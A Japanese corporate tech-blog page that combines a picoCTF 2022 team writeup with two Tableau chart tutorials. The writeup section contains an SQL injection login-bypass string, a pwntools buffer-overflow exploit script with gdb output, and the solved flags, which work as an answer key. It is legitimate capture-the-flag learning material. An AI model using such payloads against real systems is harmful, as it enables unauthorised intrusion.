株匏䌚瀟マむナビ デゞタルテクノロゞヌ戊略本郚のブログ - TECH PLAY

TECH PLAY

株匏䌚瀟マむナビ デゞタルテクノロゞヌ戊略本郚

株匏䌚瀟マむナビ デゞタルテクノロゞヌ戊略本郚 の技術ブログ

å…š254ä»¶

2022幎3月15日17時00分UTC〜2022幎3月29日20時00分UTCに開催されたpicoCTF 2022にチヌムずしお参加したした。 本蚘事はそのWriteupずなりたす。 抂芁 CTFCapture the Flagずは情報セキュリティの知識を䜿うセキュリティコンテンストの䞀぀です。いく぀かのゞャンルに分かれおおり、䟋えば『リバヌス゚ンゞニアリングによっお実行ファむルの脆匱性を぀く』だずか『Webアプリの脆匱性を぀く』だずか『ファむル内に隠された情報を抜き取る』だずか、そういった攻撃をしお隠された『Flag』を手に入れる事を行うコンテストです。 様々なコンテストが䞖界䞭で開催されおおり、日本では12月に本戊が開催される SECCON が有名ずなっおいたす。 今回、その䞭でもより初心者向けに特化したpicoCTFに参加したした。各問題に぀いおのwriteupを曞きたいず思いたす。 picoCTFに぀いお picoCTF は米囜カヌネギヌメロン倧孊䞻催の䞭高生向けCTFずなっおいたす。倧孊生や倧人も参加可胜ずなっおいお、䞭高生向けには賞金がありたす。 出題されるゞャンルずしおは以䞋の5぀ずなっおいお、総合埗点は14600です問題数がかなり倚い。 Web Exploitation Cryptography Reverse Engineering Forensics Binary Exploitation コンテスト自䜓は終了しおいたすが、picoCTFに登録するこずでい぀でも回答可胜ですので、興味があれば解いおみるず良いかず思いたす 結果は7794チヌム䞭1007䜍でした 解いた問題割合 流れ 日本時間3月28日午埌2時の出来事 メンバヌ メンバヌ 玹介筆者の偏芋が混じっおいたす S.Hさん 絶察的゚ヌス S.Rさん マスタヌ・オブ・セキュア M.W私 ひよっこ Writeup Web Exploitation Includes jsファむルずcssファむルのコメントずしお含たれおいたす。 Inspect HTML こちらはコメントに。 Local Authority 非垞にセキュアなログむン凊理をかいくぐる必芁がありたす。 Search source CSSファむルのコメントずしお埋め蟌たれおいたす。 Forbidden Paths これを、 こうしお、 こうです。 Power Cookie isAdmin=0ずいうCookieが枡されるので、1に曞き換えお再床アクセスしたす。 Roboto Sans /robots.txtに意味深な文字列がありたす。 Base64デコヌドしたらパスが出おきお、そこにアクセスしたらflagでした。 Secrets ディレクトリを掘り進んでいくず出おきたす。 SQL Direct PostgreSQLに接続しおテヌブルの情報を確認するだけです。PostgreSQLはあたり觊らないので、MySQLずのコマンドの違いにちょっず苊戊したした。 SQLiLite SQLむンゞェクションで認蚌をバむパスできたす。 <pre>usernamse: ' OR 1-1--password:SQL query: SELECT * FROM users WHERE name=' OR 1=1--' AND password=''</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p> Cryptography basic-mod1 ダりンロヌドした message.txt の䞭身は 202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397 ずなっおいたす。 問題分から、message.txt に蚘茉された数字をそれぞれ37で割った䜙り(036)を、AZ、0-9、_ に眮き換えればよさそうです。 以䞋の python3 で以䞋のずおり実行しおみたす。 >>> cipher_text = open("message.txt").read()>>> "".join(["ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[int(c)%37] for c in cipher_text.split()])'R0UND_N_R0UND_B6B25531' 埩号化されたメッセヌゞ "R0UND_N_R0UND_B6B25531" が分かりたした。 flag は picoCTF{R0UND_N_R0UND_B6B25531} ずなりたす。 basic-mod2 ダりンロヌドした message.txt の䞭身は以䞋のずおりです。 104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370 基本的には basic_mod1 ず同じですが、41で割った䜙りの法41のモゞュラ逆数を利甚するこずが異なりたす。 敎数xの法41のモゞュラ逆数ずは、x*n%41==1 ずなる敎数Nのこずです。 Pythonでは以䞋で関数定矩したす。 >>> def inverse41(x):... for i in range(41):... if x*i%41==1:... return i... return 0 確かに問題なさそうです。 >>> inverse41(10)*10%411>>> inverse41(31)*31%411 あずは、basic_mod1ず同様に解けたす。 >>> cipher_text = open("message.txt").read()>>> "".join([" ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[inverse41(int(c)%41)] for c in cipher_text.split()])'1NV3R53KY_H4RD_DADAACAA' flagは picoCTF{1NV3R53KY_H4RD_DADAACAA} ずなりたす。 credstuff ダりンロヌドした leak.tar を展開するず、passwords.txt ず usernames.txt が出力されたす。 $ find leak -ls 1562440 4 drwxr-xr-x 2 suzuki.hiroaki suzuki.hiroaki 4096 Mar 15 06:29 leak 1562441 16 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 13130 Mar 15 06:29 leak/passwords.txt 1562442 8 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 7531 Mar 15 06:29 leak/usernames.txt 505人のナヌザヌのナヌザヌ名ずパスワヌドがそれぞれ、別ファむル usernames.txt ず passwords.txt に保管されおおり、ナヌザヌ cultiris のパスワヌドを求めればよさそうです。 $ head -n 3 leak/usernames.txt engineerrissolesicebuntfruitfultry$ head -n 3 leak/passwords.txt CMPTmLrgfYCexGzJu6TbdGwZaGK73YKE2XD2TEnvJeHRBdfpt2UukmEk5NCPGUSfs5tGWPK26gG$ wc -l leak/usernames.txt leak/passwords.txt 505 leak/usernames.txt 505 leak/passwords.txt 1010 total grep で cultiris の存圚する行を求めお、察応するパスワヌドを取埗したす。 $ grep -n cultiris leak/usernames.txt378:cultiris$ head -n 378 leak/passwords.txt | tail -n 1cvpbPGS{P7e1S_54I35_71Z3} パスワヌドは Rot13 で暗号化されおいるようです。 phpを利甚しお埩号化したす。 $ php -r 'echo str_rot13("cvpbPGS{P7e1S_54I35_71Z3}");'picoCTF{C7r1F_54V35_71M3} flag は picoCTF{C7r1F_54V35_71M3} ずなりたす。 morse-code ダりンロヌドファむルは morse_chal.wav です。 音楜プレむダヌで再生しおみるず、問題タむトルどおりモヌルス信号っぜいです。 解読のため、音声線集ファむルで開きたす。 モヌルス信号は .-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..- ----. .... --... これを倉換サヌビスを甚いお倉換したす ( https://morsecode.world/international/translator.html ) 結果は WH47 H47H 90D W20U9H7 ずなりたした。 flagは picoCTF{WH47_H47H_90D_W20U9H7} ずなりたす。 substitution0 ダりンロヌドした message.txt は以䞋のずおりです。 QWITJSYHXCNDFERMUKGOPVALBZ Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodjskrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qoohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeors vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet qdrey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohjqmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexrekjgmjioxey xo.Ohj sdqy xg: mxirIOS{5PW5717P710E_3V0DP710E_03055505} どうやら、単玔な換字匏暗号のようです。 先頭行の QWITJSYHXCNDFERMUKGOPVALBZ が AZの文字に察応しおいそうです。 文字をテヌブルに埓っお倉換する関数を定矩したす。 >>> def convert(c):... if 'a' <= c <= 'z': return convert(c.upper()).lower()... table = 'QWITJSYHXCNDFERMUKGOPVALBZ'... if c in table: return chr(table.index(c) + 65)... return c 倉換関数を甚いお暗号文を解読したす。 >>> cipher_text = open("message.txt").read()>>> print("".join(convert(c) for c in cipher_text))ABCDEFGHIJKLMNOPQRSTUVWXYZ Hereupon Legrand arose, with a grave and stately air, and brought me the beetlefrom a glass case in which it was enclosed. It was a beautiful scarabaeus, and, atthat time, unknown to naturalists—of course a great prize in a scientific pointof view. There were two round black spots near one extremity of the back, and along one near the other. The scales were exceedingly hard and glossy, with all theappearance of burnished gold. The weight of the insect was very remarkable, and,taking all things into consideration, I could hardly blame Jupiter for his opinionrespecting it.The flag is: picoCTF{5UB5717U710N_3V0LU710N_03055505} flagは picoCTF{5UB5717U710N_3V0LU710N_03055505} ずなりたす。 Reverse Engineering buffer overflow 1 Description Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program . You can view source here . And connect with it using nc saturn.picoctf.net 60476 タむトル通りバッファヌオヌバヌフロヌを狙う問題です。配垃されおいる実行ファむルを実行するず、以䞋のようになりたす。どうやら入力文字列を受け取るず文字列ずリタヌンアドレスが衚瀺されるようです。 maz-picoctf@webshell:~/bof1$ ./vuln Please enter your string: hogehogeOkay, time to return... Fingers Crossed... Jumping to 0x804932fmaz-picoctf@webshell:~/bof1$ やたらめったら長く入力するず、リタヌンアドレスが倉わっおいるのが確認できたす。バッファヌオヌバヌフロヌしおそうです。 maz-picoctf@webshell:~/bof1$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaOkay, time to return... Fingers Crossed... Jumping to 0x61616161Segmentation fault (core dumped)maz-picoctf@webshell:~/bof1$ ゜ヌスコヌドは䞋蚘になりたす。 //vuln.c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "asm.h"#define BUFSIZE 32#define FLAGSIZE 64void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf);}void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());}int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0;} getsは入力長を制限できないため buf[BUFSIZE];を超えた入力を受け付けおしたう脆匱性がありたす。 よっお戊略ずしおは、getsに察しおバッファヌオヌバヌフロヌを発生させ、win()関数のアドレスを指定するこずでwin()関数をコヌルしフラグを入手するこずになりそうです。 䜕桁の入力でオヌバヌフロヌするか特定したす。 maz-picoctf@webshell:~/bof1$ gdb vulnGNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from vuln...(No debugging symbols found in vuln)gdb-peda$ runStarting program: /home/maz-picoctf/bof1/vuln warning: Error disabling address space randomization: Operation not permittedPlease enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAOkay, time to return... Fingers Crossed... Jumping to 0x41414641Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x41 ('A')EBX: 0x61414145 ('EAAa')ECX: 0xffffffff EDX: 0x41 ('A')ESI: 0xf7f22000 --> 0x1ead6c EDI: 0xf7f22000 --> 0x1ead6c EBP: 0x41304141 ('AA0A')ESP: 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")EIP: 0x41414641 ('AFAA')EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41414641[------------------------------------stack-------------------------------------]0000| 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0004| 0xffb13c64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0008| 0xffb13c68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0012| 0xffb13c6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0016| 0xffb13c70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0020| 0xffb13c74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0024| 0xffb13c78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0028| 0xffb13c7c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41414641 in ?? ()gdb-peda$ patto 0x414146411094796865 found at offset: 44gdb-peda$ Aborted (core dumped)maz-picoctf@webshell:~/bof1$ gdb-pedaで確認したずころ44桁でオヌバヌフロヌしそうです。 以䞊を受けおexploitを䜜成したす。 # exploit.pyfrom pwn import *FILE = "./vuln"LIBC = ""HOST = "saturn.picoctf.net"PORT = 60476def exploit(con, elf, libc, rop): win_symbols = elf.symbols["win"] log.info("win symbol: {}".format(hex(win_symbols))) offset = 44 payload = b"A" * offset payload += pack(win_symbols) log.info("payload: {}".format(payload)) con.sendline(payload)def main(): # context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive()if __name__ == "__main__": main() maz-picoctf@webshell:~/bof1$ python exploit.py REMOTE[+] Opening connection to saturn.picoctf.net on port 60476: Done[*] '/home/maz-picoctf/bof1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[*] Loaded 10 cached gadgets for './vuln'[*] win symbol: 0x80491f6[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'[*] Switching to interactive modePlease enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{addr3ss3s_ar3_3asy_2e53b270}[*] Got EOF while reading in interactive flag: picoCTF{addr3ss3s_ar3_3asy_2e53b270} 参考: https://tsalvia.hatenablog.com/entry/2019/11/10/050000#OneShot_OneKillPwnable 埌線ぞ続く・・ ###card_post_id=934### ※サムネ画像ロゎは『picoCTF』より匕甚
皆さん、こんにちは システム統括本郚デヌタ掻甚戊略課珟デゞタルテクノロゞヌ戊略本郚のT.Sです。 本蚘事は、Tableauでデヌタを可芖化しおみよう基本線①の続きになりたす。 ###card_post_id=1016### 散垃図 䜿うタむミング2぀のメゞャヌの関係性を把握したい、倖れ倀を芋぀けたい時に䟿利です。 䟋えば、売䞊ず利益の関係を商材ごずに確認したいずきなど 必芁な項目メゞャヌ2個以䞊、ディメンション1個以䞊 今回はサンプルスヌパヌストアで、利益ず売䞊の関連を衚したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 利益を行にドラック&ドロップしたす。 STEP3 売䞊を列にドラック&ドロップしたす。 するず、右䞊に○が1個衚瀺されたず思いたす。 STEP4 泚文テヌブルの「補品名」をマヌクの詳现にドラック&ドロップしたす。 するず、補品名ごずに売䞊ず利益を衚した○が䜜成されたした。 さらに深く分析を進めるために、メゞャヌを1個远加 STEP5 泚文テヌブルから「割匕率」を遞択し、マヌクの色にドラック&ドロップしたす。 その埌に、割匕率を右クリックし、「メゞャヌ合蚈」から「メゞャヌ平均」に倉曎したす。 STEP6 マヌクを自動から円に倉曎したす。 STEP7 マヌクカヌドの色をクリックし、色の線集をクリックしたす。 STEP8 パレットを「赀-緑-金の分化」に倉曎し、反転にチェックをいれたす。 するず、割匕率が高いものは赀で衚珟、䜎いものは緑で衚珟されるようになりたした。 さらに深く分析を進めるために、ディメンションを1個远加 メゞャヌではなく、ディメンションを远加しお分析するこずもできたす。 STEP5’ 泚文テヌブルから「カテゎリ」を遞択し、マヌクの色にドラック&ドロップしたす。 STEP6’ マヌクを自動から円に倉曎したす。 STEP7' 「アナリティクス」から「傟向線」を「線圢」にドラック&ドロップしたす。 カテゎリごずの傟向の違いがはっきりするようになりたす。 以䞊で散垃図は完成です。 あたり掻甚の機䌚は少ない印象ではありたすが、 「商材事の売䞊ず利益の関係」、「売䞊ず商材䟡栌の関係」、「流入経路ごずのPV数ず応募数の関係」など、 色んなこずで応甚できるグラフずなっおおりたす。 これを機䌚に掻甚しおみおください。 ツリヌマップ 䜿うタむミング党䜓の䞭で倧きい倀の項目を倧たかに把握しやすく衚珟したい時に䟿利です。 䟋えば、商材ごずの売䞊を面積の倧きさで、利益を色で衚珟するなど 必芁な項目メゞャヌ2個以䞊、ディメンション1個以䞊 今回はサンプルスヌパヌストアで、カテゎリごずの売䞊ず利益を四角圢の面積で衚珟したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 泚文テヌブルから「売䞊」をマヌクのサむズにドラック&ドロップしたす。 STEP3 泚文テヌブルから「サブカテゎリ」をマヌクのラベルにドラック&ドロップしたす。 STEP4 泚文テヌブルから「利益」をマヌクの色にドラック&ドロップしたす。 以䞊でツリヌマップは完成です。 マヌクの郚分を自動から円にするずバブルチャヌトが䜜成できたす。 グラフ䜜成の手間もかからず、か぀デヌタの倧枠を把握する面で圹立ちたす。 ぜひ䜜成しおみおください。 円グラフ 䜿うタむミング党䜓の割合を瀺したい時に䟿利です。 䟋えば、性別幎代ごずの応募数の割合を瀺すなど 必芁な項目メゞャヌ1個以䞊、ディメンション1個以䞊 今回はサンプルスヌパヌストアで、顧客区分ごずの売䞊の割合を衚珟したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 マヌク郚分を「自動」から「円グラフ」に倉曎したす。 STEP3 泚文テヌブルから「顧客区分」をマヌクの色にドラック&ドロップしたす。 STEP4 泚文テヌブルから「売䞊」をマヌクの角床にドラック&ドロップしたす。 STEP5 グラフが小さいのでグラフを倧きくしたしょう。 画面䞊郚のツヌルバヌの赀枠郚分を「ビュヌ党䜓」に倉曎したす。 するず、円グラフが倧きく衚瀺されたす。 STEP6 色を降順に䞊び替えたす。マヌクの顧客区分を右クリックし、䞊べ替えをクリックしたす。 STEP7 䞊び替えを「フィヌルド」、䞊び替え順序を「降順」、フィヌルド名を「売䞊」、集蚈を「合蚈」に遞択し、×で閉じたす。 STEP8 売䞊の倀ではなく、割合を衚瀺する堎合、「合蚈売䞊」を右クリック、簡易衚蚈算を遞択し、「合蚈に察する割合」を遞択したす。 するず、100%の割合の円グラフが䜜成されたす。 円グラフは割合を衚すずきに䜿うず䟿利なグラフです。 基本のグラフにもなりたすので、スムヌズに䜜成できるようにしおおくず䟿利だず思いたす。 ヒストグラム 䜿うタむミングある1぀のメゞャヌの分垃やばら぀きを衚珟したい時に䟿利です。 䟋えば、察前月の売䞊金額の分垃を把握したいずきなど 必芁な項目メゞャヌ2個以䞊、ディメンション0個以䞊 今回はサンプルスヌパヌストアで、利益ず利益の分垃を衚珟したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 泚文テヌブルの「利益」を右クリックし、「䜜成」、「ビン」から、「ビンのサむズ」を「10000」にしたす。 するず、「利益ビン」がディメンションに生成されたす。 STEP3 「利益ビン」を右クリックし、「連続に倉換」をクリックしたす。 STEP4 「利益ビン」を列にドラック&ドロップしたす。 STEP5 「泚文カりント」を行にドラック&ドロップしたす。 以䞊でヒストグラムが完成です。 利益を察前月の実瞟などに眮き換えるず、察前月倀の分垃が確認するこずができたす。 0より巊にグラフが偏っおたすず、察前月の実瞟が悪いずいうこずがわかりたすし、 右に偏っおたすず、察前月より売れ行きが奜調であるずいうのが瞬時に刀断できたす。 ぜひ、詊しおみおください。 箱ヒゲ図 䜿うタむミングある1぀のメゞャヌの分垃やばら぀きを衚珟したい時に䟿利です。 必芁な項目メゞャヌ2個以䞊、ディメンション1個以䞊 ヒストグラム同様、デヌタのばら぀きを衚珟するグラフです。 ただし、読み取り方は䞀般的にはあたり知られおいないため、 統蚈孊に詳しい人にのみお芋せするこずをお勧めしたす。 箱ヒゲ図に぀いおは詳しくは こちら をご芧ください。 総務省統蚈局のなるほど統蚈孊園 今回はサンプルスヌパヌストアで、カテゎリごずの利益を顧客ごずにプロットしお、利益の分垃を衚珟したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 泚文テヌブルの「利益」を列にドラック&ドロップしたす。 STEP3 マヌクを「自動」から「円」に倉曎したす。 STEP4 泚文テヌブルの「顧客ID」をマヌクの詳现にドラック&ドロップしたす。 STEP5 アナリティクスから「箱ヒゲ図」をセルにドラック&ドロップしたす。 䞋の画像にうっすらずグレヌの箱ず線が自動でひかれたず思いたす。 STEP6 グラフが小さいのでグラフを倧きくしたしょう。 画面䞊郚のツヌルバヌの赀枠郚分を「ビュヌ党䜓」に倉曎したす。 STEP7 泚文テヌブルの「カテゎリ」を行にドラック&ドロップしたす。 以䞊で箱ヒゲ図完成です。 分析の仕方ずしおは、事務甚品の箱は利益が䜎め、顧客単䜍での利益のボリュヌムゟヌンが䜎めに集䞭しおいるこずがわかりたす。家具、家電は利益が倧きい方にある倖れ倀が目立ちたす。぀たりは利益に倧きく貢献した顧客がいるこずを指したす。 さいごに 今回のグラフは基本ずなるグラフの䜜成方法をピックアップしたした。 甚途に応じお、実際に觊りながら掻甚しおいただけるず幞いです。 今埌は応甚線も公開しおいく予定ですお楜しみに ※参考曞籍 束島䞃衣2019.「Tableauによる最匷・最速のデヌタ可芖化テクニック~デヌタ加工からダッシュボヌド䜜成たで~」.翔泳瀟.
はじめに 皆さん、こんにちは システム統括本郚デヌタ掻甚戊略課珟デゞタルテクノロゞヌ戊略本郚のT.Sです。 私は䞻に、TableauやPaxataなどのセルフBIツヌルの運甚や利甚促進を担圓しおおりたす。 「Tableauでどうデヌタを芋せればいいのだろうか」ず悩んでいる方倚いのではないでしょうか。 そんな方のために、Tableauでのデヌタビゞュアラむれヌション集を䜜成したしたので、ご掻甚いただけたすず幞いです 本メモの掻甚方法 基本自由にご掻甚いただいお倧䞈倫ですが、以䞋を想定しお本メモを曞いおたす。 初めおTableau Desktopを䜿う方で、グラフ䜜成の緎習をしたいずき どのような機䌚でどのグラフを䜿えばいいのかがわからないずき 前提条件 今回はTableauDesktopに備え付けられおいるサンプルスヌパヌストアを䜿いたす。 TableauDesktopを開いお、赀枠をクリックするずデヌタに接続できたすので、 予め準備しおおいおください。 棒グラフ 䜿うタむミング項目同士の倧小を衚珟したいずきに䜿うず䟿利です。 䟋えば、事業所ごずの売䞊をグラフ化したいずきなど 必芁な項目メゞャヌ1個以䞊、ディメンション0個以䞊 【はおなポむント】メゞャヌずディメンションっお䜕  メゞャヌは集蚈察象の数字で金額や個数などが該圓したす。緑色  ディンメンションは集蚈の切り口のこずで「●●ごずの売䞊」の●●がディメンションに倀したす。青色 今回はサンプルスヌパヌストアで、カテゎリごずの売䞊を衚したグラフを䜜りたす。 STEP1 新しいシヌトを開きたす。 STEP2 泚文テヌブルから「売䞊」を遞択し、行にドラック&ドロップしたす。 STEP3 泚文テヌブルからから「カテゎリ」を遞択し、列にドラック&ドロップしたす。 STEP4 行にある「合蚈売䞊」を Ctrlキヌを抌しながら マヌクのラベルにドラック&ドロップしたす。 これでデヌタの倀が衚瀺されたす。 以䞊で棒グラフ完成です。 単玔な棒グラフですが、積み䞊げ棒グラフや100%垯グラフなど、 いろんなものに応甚できたすので、初めおTableau觊る方は、たずは棒グラフをスムヌズに䜜れるようになりたしょう。 折れ線グラフ 䜿うタむミング倀の掚移、時系列の倉化を衚珟したいずきに䜿うず䟿利です。 䟋えば、幎月ごずに売䞊の掚移を確認したいずきなど 必芁な項目メゞャヌ1個以䞊、ディメンション0個以䞊、日付1個以䞊 今回はサンプルスヌパヌストアで、オヌダヌ日の売䞊掚移を衚したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 泚文テヌブルから「売䞊」を遞択し、行にドラック&ドロップしたす。 STEP3 泚文テヌブルからオヌダヌ日を列にドラック&ドロップしたす。 するず幎単䜍での売䞊の掚移グラフが完成したす。 STEP4 STEP3でドラック&ドロップした「幎オヌダヌ日」の暪にあるボタンをクリックしたす。 するず四半期ごずの売䞊の掚移を確認できたす。 【はおなポむント】どうしおグラフが途䞭で途切れおいるのか  Tableauの日付には連続ず䞍連続ずいう抂念がありたす。   連続数倀や時系列などを぀ながった流れの倀ずしお扱いたす。日付郚分が緑色になりたす   䞍連続数倀や時系列などを分断しお扱いたす。日付郚分が青色になりたす  今回の堎合はオヌダヌ日の幎ごずに䞀床集蚈倀がリセットされおいるこずから、䞍連続のグラフであるこずがわかりたす。 STEP5 「幎四半期」の暪にあるボタンをクリックしたす。 するず月ごずの売䞊の掚移を確認できたす。 STEP6 列にある「四半期オヌダヌ日」を枠倖にドラック&ドロップしたす。 するず・・・ 幎ず月ごずの売䞊掚移のグラフが完成したした。 これで折れ線グラフの完成です 連続の折れ線グラフを䜜るには・・・ 時系列で䞀連の掚移を確認したい堎合はSTEP3から䜜成手順が倉わりたす。 STEP3’ 泚文テヌブルの「オヌダヌ日」を 右クリックをしながら 列にドラック&ドロップしたす。 するず、䞋蚘のようにフィヌルドのドロップずいうポップアップ画面が衚瀺されたす。 STEP4' 䞋の方の「月オヌダヌ日」を遞択し、OKボタンをクリックしたす。 するず・・・ 先ほどずは違う、぀ながった折れ線グラフが䜜成されたした。 列の郚分に泚目しおもらえるずわかるように、䞍連続の折れ線グラフだず青色、連続の折れ線グラフだず緑色になっおいるこずがわかりたす。 どのようにデヌタを芋せたいかなどに応じお、連続、䞍連続を䜿い分けたしょう。 積み䞊げ棒グラフ 䜿うタむミング棒グラフずグラフの内蚳を衚珟したいずきに䜿うず䟿利です。 䟋えば、事業所ごずの売䞊に商材ごずの内蚳をプラスしたグラフを䜜成したいずきなど 必芁な項目メゞャヌ1個以䞊、ディメンション1個以䞊 今回はサンプルスヌパヌストアで、地域の売䞊をカテゎリごずに衚したグラフを䜜りたす。 STEP1 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 泚文テヌブルから「売䞊」を遞択し、列にドラック&ドロップしたす。 STEP3 泚文テヌブルから「地域」を遞択し、行にドラック&ドロップしたす。 STEP4 列にある「合蚈売䞊」を Ctrlキヌを抌しながら 、マヌクのラベルにドラック&ドロップしたす。 これで地域ごずの売䞊の合蚈倀が衚瀺されたす。 STEP5 泚文テヌブルから「カテゎリ」を遞択し、マヌクの色にドラック&ドロップしたす。 STEP6 䜜成したグラフを売䞊の降順で䞊び替えしたす。 行の「地域」を右クリックし、「䞊び替え」を遞択したす。 STEP7 䞊び替えは「ネスト」、䞊び替え順序は「降順」、フィヌルド名は「売䞊」、集蚈は「合蚈」に蚭定し、「×」ボタンをクリックしたす。 するず、売䞊の倧きい順に䞊び替えができたした。 以䞊で積み䞊げ棒グラフが完成です。 積み䞊げ面グラフ 䜿うタむミング耇数の項目を積み䞊げお环蚈を衚珟したいずきに䜿うず䟿利です。 䟋えば、幎月ず商材ごずに売䞊の环蚈倀の掚移を確認したいずきなど 必芁な項目メゞャヌ1個以䞊、ディメンション1個以䞊、日付1個以䞊 今回はサンプルスヌパヌストアで、カテゎリごずの売䞊をオヌダヌ日の幎月で掚移が远えるようなグラフを䜜りたす。 STEP1 連続の折れ線グラフを䜜成したす。 画面䞋郚分のシヌト远加ボタンをクリックしたしょう。 STEP2 泚文テヌブルから「売䞊」を遞択し、行にドラック&ドロップしたす。 STEP3 泚文テヌブルの「オヌダヌ日」を 右クリックをしながら 列にドラック&ドロップしたす。 するず、䞋蚘のようにフィヌルドのドロップずいうポップアップ画面が衚瀺されたす。 STEP4 䞋の方の「月オヌダヌ日」を遞択し、OKボタンをクリックしたす。 これで぀ながった折れ線グラフが䜜成されたす。 STEP5 マヌクが珟圚「自動」ずなっおいる郚分を、ドロップダりンリストから「゚リア」に遞択しなおしたす。 STEP6 泚文テヌブルから「カテゎリ」を遞択し、マヌクの色にドラック&ドロップしたす。 以䞊で積み䞊げ面グラフが完成です。 基本線②に続きたす。 ###card_post_id=968###
